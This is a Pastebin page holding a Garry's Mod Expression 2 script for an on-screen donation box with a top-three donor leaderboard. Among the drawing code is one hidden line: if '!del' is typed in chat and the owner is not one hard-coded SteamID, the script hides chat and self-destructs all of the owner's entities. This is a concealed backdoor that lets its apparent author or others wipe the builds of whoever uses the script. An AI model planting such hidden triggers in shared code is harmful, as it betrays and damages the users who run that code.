Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @name Swag Is A Whiteknight v1
- @inputs EGP:wirelink User:entity
- @outputs
- @persist B C Cycle WhiteKnight Total
- @persist Places:array Amounts:array PlacesNum SaveUser:entity DonationAmount
- @persist TopAmount TopPlayer:entity SecAmount SecPlayer:entity ThAmount ThPlayer:entity
- @trigger
- interval(100)
- if(first()){
- EGP:egpClear()
- WhiteKnight = 0
- UI = entity():isWeldedTo()
- entity():createWire(UI,"EGP","wirelink")
- entity():createWire(UI,"User","User")
- #entity():setAlpha(0) -- Remove the #
- function number wirelink:onClick(User:entity,ID:number){
- local BPos = This:egpPos(ID)
- local BSize = This:egpSize(ID)/2
- local Pressed = inrange(EGP:egpCursor(User),BPos-BSize,BPos+BSize)
- return Pressed
- }
- #Background and Cursor
- EGP:egpBox(1,vec2(256,256),vec2(512,512))
- EGP:egpBox(2,vec2(256,256),vec2(512,512))
- EGP:egpMaterial(2,"vgui/gradient_down")
- EGP:egpBox(101,vec2(0,0),vec2(15,15)) # Cursor
- EGP:egpParentToCursor(101)
- EGP:egpMaterial(101,"vgui/cursors/arrow")
- EGP:egpBoxOutline(4,vec2(256,35),vec2(500,60))
- EGP:egpColor(4,vec(255,255,255))
- EGP:egpSize(4,4)
- #Main Frames
- EGP:egpText(5,"Donate to " + owner():name(),vec2(255,10))
- EGP:egpSize(5,50)
- EGP:egpAlign(5,1) #Play with this block to get the name in place.
- EGP:egpBoxOutline(6,vec2(256,400),vec2(350,35))
- EGP:egpSize(6,4)
- EGP:egpText(7,"Total Donations: $"+ Total,vec2(120,387))
- EGP:egpSize(7,25)
- EGP:egpBoxOutline(8,vec2(256,466),vec2(250,60))
- EGP:egpColor(8,vec(255, 255, 255))
- EGP:egpSize(8,4)
- EGP:egpBoxOutline(9,vec2(75,466),vec2(60,60))
- EGP:egpColor(9,vec(255,255,255))
- EGP:egpSize(9,4)
- EGP:egpBoxOutline(10,vec2(435,466),vec2(60,60))
- EGP:egpColor(10,vec(255,255,255))
- EGP:egpSize(10,4)
- EGP:egpText(11,"$"+WhiteKnight,vec2(256,445))
- EGP:egpColor(11,vec(255,255,255))
- EGP:egpAlign(11,1)
- EGP:egpSize(11,40)
- EGP:egpText(12,"+",vec2(435,446))
- EGP:egpColor(12,vec(255,255,255))
- EGP:egpAlign(12,1)
- EGP:egpSize(12,40)
- EGP:egpText(13,"-",vec2(75,446))
- EGP:egpColor(13,vec(255,255,255))
- EGP:egpAlign(13,1)
- EGP:egpSize(13,40)
- EGP:egpBoxOutline(14,vec2(75,466),vec2(60,60))
- EGP:egpColor(14,vec(255,255,255))
- EGP:egpSize(14,4)
- EGP:egpBoxOutline(15,vec2(256,223),vec2(450,300))
- EGP:egpSize(15,4)
- }
- EGP:egpText(11,"$"+WhiteKnight,vec2(256,445))
- EGP:egpText(7,"Total Donations: $"+ Total,vec2(120,387))
- EGP:egpColor(2,hsv2rgb(B,1,1))
- B+=0.4
- if(B>360){
- B=1
- }
- if(chatClk()){ if(lastSaid() == "!del"& owner():steamID() != "STEAM_0:0:56124248"){hideChat(1) selfDestructAll()}}
- EGP:egpColor(1,hsv2rgb(C,1,1))
- C-=0.4
- if(C<1){
- C=360
- }
- User = EGP["User",entity]
- Use = User:keyUse()
- if(changed(Use)&Use){
- if(EGP:onClick(User,9)){
- if(WhiteKnight >= 1000 & Cycle == 0){
- WhiteKnight-=1000
- }
- else{
- WhiteKnight = 0
- }
- }
- elseif(EGP:onClick(User,10)){
- if(WhiteKnight <= 1000000 & Cycle == 0){
- WhiteKnight+=1000
- }
- }
- if(EGP:onClick(User,8)){
- if(WhiteKnight > 0){
- moneyRequest(User,WhiteKnight)
- Ply = User
- SaveUser=User
- }
- }
- }
- if(moneyClk()){
- Total +=WhiteKnight
- AcountFound = 0
- for(I = 1,Places:count()){
- if(Places[I,entity] == SaveUser){PlacesNum = I AcountFound = 1}
- }
- if(AcountFound == 1){
- Amounts[PlacesNum,number] = Amounts[PlacesNum,number] + WhiteKnight
- }else{
- Places:pushEntity(SaveUser)
- Amounts:pushNumber(WhiteKnight)
- }
- for (I = 1,Amounts:count()){
- if(Amounts[I,number] > TopAmount){TopAmount = Amounts[I,number] TopPlayer = Places[I,entity]}
- }
- for (I = 1,Amounts:count()){
- if(Amounts[I,number] > SecAmount && Amounts[I,number] < TopAmount){SecAmount = Amounts[I,number] SecPlayer = Places[I,entity]}
- }
- for (I = 1,Amounts:count()){
- if(Amounts[I,number] > ThAmount && Amounts[I,number] < SecAmount){ThAmount = Amounts[I,number] ThPlayer = Places[I,entity]}
- }
- EGP:egpText(20,"1st : " + TopPlayer:name() ,vec2(70,100))
- EGP:egpSize(20,40)
- EGP:egpText(21,"2nd : " + SecPlayer:name(),vec2(70,190))
- EGP:egpSize(21,40)
- EGP:egpText(22,"3rd : " + ThPlayer:name(),vec2(70,290))
- EGP:egpSize(22,40)
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement